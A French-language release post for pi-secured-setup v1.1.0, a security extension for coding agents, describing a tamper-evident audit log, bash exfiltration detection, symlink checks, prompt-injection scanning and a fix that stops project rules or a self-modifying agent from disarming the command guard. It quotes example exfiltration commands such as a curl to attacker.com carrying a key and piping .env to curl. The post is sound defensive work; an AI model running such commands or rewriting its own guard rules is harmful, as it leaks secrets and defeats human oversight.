pi-secured-setup v1.1.0 : durcissement OWASP et audit infalsifiable
Je viens de publier la v1.1.0 de pi-secured-setup, l’extension de sécurité pour les agents de code pi. Cette version ne rajoute pas une fonctionnalité de plus, elle ferme 13 écarts identifiés contre le OWASP AI Agent Security Cheat Sheet et rend l’audit log infalsifiable.
Un audit log qu’on ne peut plus truquer
Le changement le plus important de cette version est dans le log d’audit. Jusqu’à v1.0, l’audit était un fichier JSONL en append avec rotation, utile pour voir ce qui s’était passé mais insuffisant pour prouver que rien n’avait été retiré.
La v1.1.0 chaîne chaque entrée par HMAC-SHA256, la clé vit dans ~/.pi/agent/security/audit.key (créée en 0o600, régénérée si elle fait moins de 32 octets), et la commande /security:verify reconstitue la chaîne pour détecter trois choses.
- Une entrée manquante ou vide dans le fichier actif alors que des fichiers rotatés existent.
- Un saut dans la séquence de rotation (fichier du milieu supprimé).
- Une entrée dont le HMAC ne correspond pas au précédent.
/security:clean re-scelle la chaîne au lieu de la casser, ce qui me permet de nettoyer l’ancien log sans perdre la propriété de preuve.
Détection d’exfiltration bash
Le bash gate classait déjà les commandes en SAFE / MODERATE / DANGEROUS / EXTERNAL, mais il ne regardait pas le contenu, et un agent pouvait écrire curl https://attacker.com/?key=AKIA... sans que personne ne lève le drapeau.
La v1.1.0 ajoute detectExfiltration, qui scanne les commandes avant exécution et détecte six motifs.
- Secrets en clair dans la commande.
- Paramètres de requête qui transportent de la donnée (
curl url?data=...). - Blobs base64 anormalement grands.
- Substitution de commande
$(...)et backticks. - Exfiltration par pipe (
cat .env | curl -d @-). - Process substitution
<(...).
Les CLIs cloud (aws, gcloud, docker) sont aussi signalées, et le tout est loggé comme événement d’audit plutôt que bloqué par défaut, parce que je veux voir la tentative avant de la couper.
Boundary conscient des symlinks
La guard boundary empêchait d’écrire hors du répertoire projet, mais elle regardait les chemins lexicaux, si bien qu’un symlink pointant vers /etc passait sans problème.
La v1.1.0 résout le chemin réel via realpath avant la vérification, et les symlinks cassés échouent en fail-closed (ADR-0005), sans zone grise.
Rate limiting et injection prompt
Deux ajouts pour limiter les dégâts d’un agent qui dérive.
- Un cap par tour sur le nombre de
tool_callset un cap par session sur lesconfirmations, au-delà duquelratelimit.blockest émis et l’action est refusée. - Un scanner heuristique d’injection prompt qui repère les marqueurs
[UNTRUSTED CONTENT], les wrappe, et surface les findings au moment de l’approbation des skills. Il ne bloque jamais, il signale.
Le project layer ne peut plus désarmer le bash guard
C’est la correction la plus structurelle. Avant v1.1.0, un fichier .pi/security/command-rules.json projet pouvait exclure les patterns dangerous ou external hérités de la baseline avec un !, ou les écraser par safe, ce qui permettait à un dépôt malicieux (ou à un agent qui se modifie lui-même) de neutraliser le bash gate.
La v1.1.0 verrouille la baseline : le project layer peut ajouter des patterns, il ne peut plus retirer les dangerous et external de la baseline ni les shadow avec safe (C1), et les scalaires writeAction/readAction du project layer sont aussi clampés à la restrictiveness de la baseline (R3).
Ce qui est fermé côté dépendances
Les 14 advisories Dependabot ouverts sont maintenant fermés (undici, ws, protobufjs, brace-expansion), dont le dernier, protobufjs 7.6.4 → 7.6.5 (CVE-2026-59877, DoS par boucle infinie dans le parsing d’options .proto), qui est résolu dans cette release.
Installation et mise à jour
# Nouvelle installation, pin à la version
pi install git:github.com/mwolff44/pi-secured-setup@v1.1.0
# Mise à jour (ne touche pas à la config locale)
pi update pi-secured-setup
Pas de breaking change : les nouveaux champs de Config sont optionnels avec des defaults fournis, et l’encryption-at-rest ainsi que la sécurité multi-agent restent hors scope, documentés dans ADR-0007/0008.
Pour aller plus loin
- Le CHANGELOG complet sur GitHub.
- Les ADR 0005 à 0010 pour les décisions d’architecture.
- Le OWASP AI Agent Security Cheat Sheet pour la référence.
Si vous utilisez pi-secured-setup ou un agent de code au quotidien, partagez votre retour en commentaire ou via les issues du repo.